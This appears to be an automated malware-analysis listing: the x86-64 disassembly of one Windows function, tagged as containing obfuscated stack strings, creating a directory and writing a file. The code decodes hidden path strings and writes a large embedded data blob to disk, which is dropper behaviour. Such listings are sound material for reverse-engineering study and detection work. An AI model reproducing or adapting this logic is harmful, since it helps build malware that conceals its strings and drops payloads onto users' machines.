Function at 0x140009d40
Capabilities:
Contain obfuscated stackstrings
Create directory
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xc0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, qword [0x140025610]
lea rcx, [rbp - 0x49]
mov rsi, rax
mov dword [rbp - 0x49], 0x35000b
mov eax, 0x78
mov dword [rbp - 0x45], 0x2000d
mov word [rbp - 0x31], ax
mov dword [rbp - 0x41], 0x1b003b
mov dword [rbp - 0x3d], 0x290029
mov dword [rbp - 0x39], 0x24002e
mov dword [rbp - 0x35], 0x160018
call fcn.140002e40
mov rcx, rax
mov r8d, 0x104
mov rdx, rsi
call rbx
xor r13d, r13d
mov r12d, r13d
mov qword [rbp + 7], r13
mov edi, r13d
mov qword [rbp + 0xf], r13
cmp word [rsi], r13w
je 0x140009dfa
nop dword [rax]
inc rdi
cmp word [rsi + rdi*2], r13w
jne 0x140009df0
lea rbx, [rdi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rdi, rdi
je 0x140009e42
mov r9, rsi
mov rdx, rax
sub r9, rax
mov r8, rdi
nop dword [rax]
movzx ecx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140009e30
mov r8, rdi
mov word [rax + rdi*2], r13w
mov rdx, r14
lea rcx, [rbp + 0x27]
call fcn.140001940
lea r8, [rbp + 0x27]
lea rdx, [rbp - 0x49]
lea rcx, [rbp + 7]
call fcn.1400019d0
mov rbx, rax
lea rax, [rbp + 7]
cmp rax, rbx
je 0x140009e9b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 8]
lea rcx, [rbp + 7]
mov rdx, qword [rbx]
call fcn.140001940
mov r12, qword [rbp + 7]
mov rbx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x48
mov dword [rbp - 0x49], 0x37001b
lea rcx, [rbp - 0x49]
mov word [rbp - 0x19], ax
mov dword [rbp - 0x45], 0x200027
mov dword [rbp - 0x41], 0x350005
mov dword [rbp - 0x3d], 0x16000a
mov dword [rbp - 0x39], 0x11000c
mov dword [rbp - 0x35], 0x10
mov dword [rbp - 0x31], 0x2d0011
mov dword [rbp - 0x2d], 0x150003
mov dword [rbp - 0x29], 0x2b0030
mov dword [rbp - 0x25], 0xd0033
mov dword [rbp - 0x21], 0x29001e
mov dword [rbp - 0x1d], 0x240007
call fcn.140002520
mov r14, rax
mov rdi, r13
cmp word [rax], r13w
je 0x140009f4a
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], r13w
jne 0x140009f40
lea rbx, [rdi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rdi, rdi
je 0x140009f92
mov rdx, rax
sub r14, rax
mov r8, rdi
nop word [rax + rax]
movzx ecx, word [r14 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140009f80
mov r8, rdi
mov word [rax + rdi*2], r13w
mov rdx, r15
lea rcx, [rbp - 0x49]
call fcn.140001940
lea r8, [rbp - 0x49]
lea rdx, [rbp + 0x27]
lea rcx, [rbp + 7]
call fcn.1400019d0
mov rbx, rax
lea rax, [rbp + 7]
cmp rax, rbx
je 0x140009feb
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 8]
lea rcx, [rbp + 7]
mov rdx, qword [rbx]
call fcn.140001940
mov r12, qword [rbp + 7]
mov rbx, qword [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov r15, r13
mov qword [rbp + 0x17], r13
mov rdi, r13
mov qword [rbp + 0x1f], r13
cmp word [rsi], r13w
je 0x14000a040
inc rdi
cmp word [rsi + rdi*2], r13w
jne 0x14000a036
lea rbx, [rdi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rdi, rdi
je 0x14000a081
mov rdx, rax
sub rsi, rax
mov r8, rdi
movzx ecx, word [rsi + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000a070
mov r8, rdi
mov word [rax + rdi*2], r13w
mov rdx, r14
lea rcx, [rbp - 0x49]
call fcn.140001940
lea r8, [rbp - 0x49]
lea rdx, [rbp + 0x27]
lea rcx, [rbp + 0x17]
call fcn.1400019d0
mov rbx, rax
lea rax, [rbp + 0x17]
cmp rax, rbx
je 0x14000a0da
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 8]
lea rcx, [rbp + 0x17]
mov rdx, qword [rbx]
call fcn.140001940
mov r15, qword [rbp + 0x17]
mov rbx, qword [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 0x5a
mov dword [rbp - 0x49], 0x37001b
lea rcx, [rbp - 0x49]
mov word [rbp + 3], ax
mov dword [rbp - 0x45], 0x200027
mov dword [rbp - 0x41], 0x350005
mov dword [rbp - 0x3d], 0x16000a
mov dword [rbp - 0x39], 0x11000c
mov dword [rbp - 0x35], 0x10
mov dword [rbp - 0x31], 0x2d0011
mov dword [rbp - 0x2d], 0x150003
mov dword [rbp - 0x29], 0x2b0030
mov dword [rbp - 0x25], 0xd0033
mov dword [rbp - 0x21], 0x29001e
mov dword [rbp - 0x1d], 0x240007
mov dword [rbp - 0x19], 0xc0014
mov dword [rbp - 0x15], 0x9003e
mov dword [rbp - 0x11], 0x2c001e
mov dword [rbp - 0xd], 0x270012
mov dword [rbp - 9], 0x290019
mov dword [rbp - 5], 0x4004a
mov dword [rbp - 1], 0x230035
call fcn.140002bb0
mov rsi, rax
mov rdi, r13
cmp word [rax], r13w
je 0x14000a1ba
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], r13w
jne 0x14000a1b0
lea rbx, [rdi*2 + 2]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rdi, rdi
je 0x14000a201
mov rcx, rax
sub rsi, rax
mov r8, rdi
nop word [rax + rax]
movzx edx, word [rsi + rcx]
mov word [rcx], dx
lea rcx, [rcx + 2]
sub r8, 1
jne 0x14000a1f0
mov r8, rdi
mov word [rax + rdi*2], r13w
mov rdx, r14
lea rcx, [rbp - 0x49]
call fcn.140001940
lea r8, [rbp - 0x49]
lea rdx, [rbp + 0x27]
lea rcx, [rbp + 0x17]
call fcn.1400019d0
mov rbx, rax
lea rax, [rbp + 0x17]
cmp rax, rbx
je 0x14000a25a
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 8]
lea rcx, [rbp + 0x17]
mov rdx, qword [rbx]
call fcn.140001940
mov r15, qword [rbp + 0x17]
mov rbx, qword [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], pe_nt_image_headers64
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], r13
mov rcx, rax
lea rdx, section..data
mov r8d, 0x155b4
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret